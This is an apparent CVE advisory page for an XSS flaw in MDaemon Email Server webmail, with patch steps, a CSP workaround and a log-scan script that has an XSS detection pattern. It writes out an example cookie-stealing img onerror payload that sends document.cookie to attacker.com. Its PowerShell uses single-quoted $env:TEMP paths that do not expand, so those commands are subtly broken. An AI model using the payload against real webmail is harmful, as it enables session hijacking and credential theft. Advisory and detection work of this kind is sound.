CVE DatabaseCVE-2024-11182
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CVE-2024-111826.1/MEDIUMCISA KEVCWE-79CWE-79

MDaemon Email Server Cross-Site Scripting (XSS) Vulnerability via HTML Email Image Tags (CVE-2024-11182)

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Affected Vendors
mdaemon
Affected Components
mdaemon email server
Published Date
2024-11-15
CVSS v3.1
6.1
MEDIUM
EPSS (30d)
33.3%
FIRST.org
CISA KEV
Exploited

Executive & SecOps Summary

SECOPS ASSESSMENT
Affected Scope

MDaemon Email Server versions prior to 24.5.1c with Webmail enabled

Impact

Remote attackers can execute arbitrary JavaScript code in the context of a victim's browser session by sending a specially crafted HTML email, potentially leading to session hijacking and credential theft

Mitigation

Immediately upgrade MDaemon Email Server to version 24.5.1c or later to resolve the sanitization flaw

Affected Products & Version Scope

All MDaemon Email Server versions prior to 24.5.1c

Remediation & Live Workaround Commands

PATCH & WORKAROUND

1. Official Patch & Version Upgrade Commands

To remediate this vulnerability, upgrade MDaemon Email Server to version 24.5.1c or later. Use the following PowerShell commands to verify your current version and download the official patch installer.

powershell
# Check current MDaemon version
$MDPath = 'C:\MDaemon\App\MDaemon.exe'
if (Test-Path $MDPath) {
    $Version = (Get-Item $MDPath).VersionInfo.ProductVersion
    Write-Host "Current MDaemon Version: $Version"
} else {
    Write-Host 'MDaemon executable not found at default path.' -ForegroundColor Red
}

# Download the patched installer (Run as Administrator)
Invoke-WebRequest -Uri 'https://files.mdaemon.com/mdaemon/beta/md2451c_en.exe' -OutFile '$env:TEMP\md2451c_en.exe'
# Execute silent installation
Start-Process -FilePath '$env:TEMP\md2451c_en.exe' -ArgumentList '/s' -Wait

2. Temporary Workaround & Hardening Configuration

If an immediate upgrade is not feasible, implement a strict Content Security Policy (CSP) on your reverse proxy or web server to prevent the execution of inline scripts and unauthorized external connections.

nginx
# Example Nginx configuration for MDaemon Webmail reverse proxy
server {
    listen 443 ssl;
    server_name mail.yourdomain.com;

    # Restrict script execution to self and block inline scripts
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline';" always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header X-Content-Type-Options "nosniff" always;

    location / {
        proxy_pass http://127.0.0.1:3000;
        proxy_set_header Host $host;
    }
}

3. Log Audit & IoC Verification Commands

Audit your WorldClient logs to identify potential exploitation attempts. The following script searches for common XSS payloads and suspicious event handlers within the webmail logs.

powershell
# Define log directory and search patterns
$LogPath = 'C:\MDaemon\Logs\'
$Pattern = '(<script|onerror|onload|javascript:)'

# Scan WorldClient logs modified in the last 7 days
Get-ChildItem -Path $LogPath -Filter 'WorldClient-*.log' | 
    Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) } | 
    ForEach-Object {
        $Results = Select-String -Path $_.FullName -Pattern $Pattern
        if ($Results) {
            Write-Host "[!] Potential XSS payload detected in: $($_.Name)" -ForegroundColor Red
            $Results | Select-Object -First 5 | Format-Table LineNumber, Line
        }
    }
Interactive SecOps Remediation Checklist
0/4 (0%)
Recommended Security Control & Mitigation Partner
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Due to active exploitation in the wild, immediately upgrade MDaemon Email Server to version 24.5.1c or later.

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Technical Root Cause & Exploitation Mechanics

1. Vulnerability Overview & Root Cause

This vulnerability (CVE-2024-11182) is a Cross-Site Scripting (XSS) flaw in the webmail component of MDaemon Email Server. The root cause lies in the insufficient sanitization of incoming HTML email bodies. Specifically, the application fails to properly filter malicious JavaScript embedded within the attributes of HTML tags, such as the onerror event handler of an <img> tag, allowing arbitrary script execution in the user's browser.

2. Exploitation Mechanics & Attack Scenario

An attacker exploits this vulnerability by sending an email containing a crafted HTML payload to a target user. The payload typically includes an image tag with an invalid source and an event handler containing malicious JavaScript: <img src='x' onerror='fetch("http://attacker.com/log?c=" + document.cookie)'>. When the victim logs into the MDaemon Webmail interface and opens the email, the browser attempts to render the image, fails, triggers the onerror event, and executes the script. This allows the attacker to steal session tokens or perform unauthorized actions on behalf of the user.

3. Infrastructure & Business Impact

This vulnerability is listed in CISA's Known Exploited Vulnerabilities (KEV) catalog, indicating active exploitation in the wild. Successful exploitation can lead to complete compromise of the victim's email account, unauthorized access to sensitive corporate communications, Business Email Compromise (BEC) campaigns, and lateral movement within the enterprise network.

Official Vendor Advisories & References

NVD Original English Description

An XSS issue was discovered in MDaemon Email Server before version 24.5.1c. An attacker can send an HTML e-mail message with JavaScript in an img tag. This could allow a remote attacker to load arbitrary JavaScript code in the context of a webmail user's browser window.

Frequently Asked SecOps Questions (CVE-2024-11182)

FAQ

Q1. How critical is CVE-2024-11182 and is it actively exploited in the wild?

CVE-2024-11182 is rated CVSS 6.1 (MEDIUM) with a 30-day EPSS exploitation probability of 33.3%. It is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, requiring immediate emergency remediation.

Q2. Which vendors and products are affected by CVE-2024-11182?

Primary impacted vendors include mdaemon across mdaemon email server. Scope summary: All MDaemon Email Server versions prior to 24.5.1c

Q3. What temporary mitigations or workarounds exist for CVE-2024-11182 before patching?

[Mitigation] Immediately upgrade MDaemon Email Server to version 24.5.1c or later to resolve the sanitization flaw Follow the CLI remediation commands and interactive SecOps checklist on this page to restrict exposure prior to your maintenance window.

SECOPS WORKBENCH INTEGRATION

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CVE-2024-11182 MDaemon Email Server Cross-Site Scripting (XSS) Vulnerability via HTML Email Image Tags (CVE-2024-11182) (CVSS 6.1) - Patch & Workaround | CVE Pulse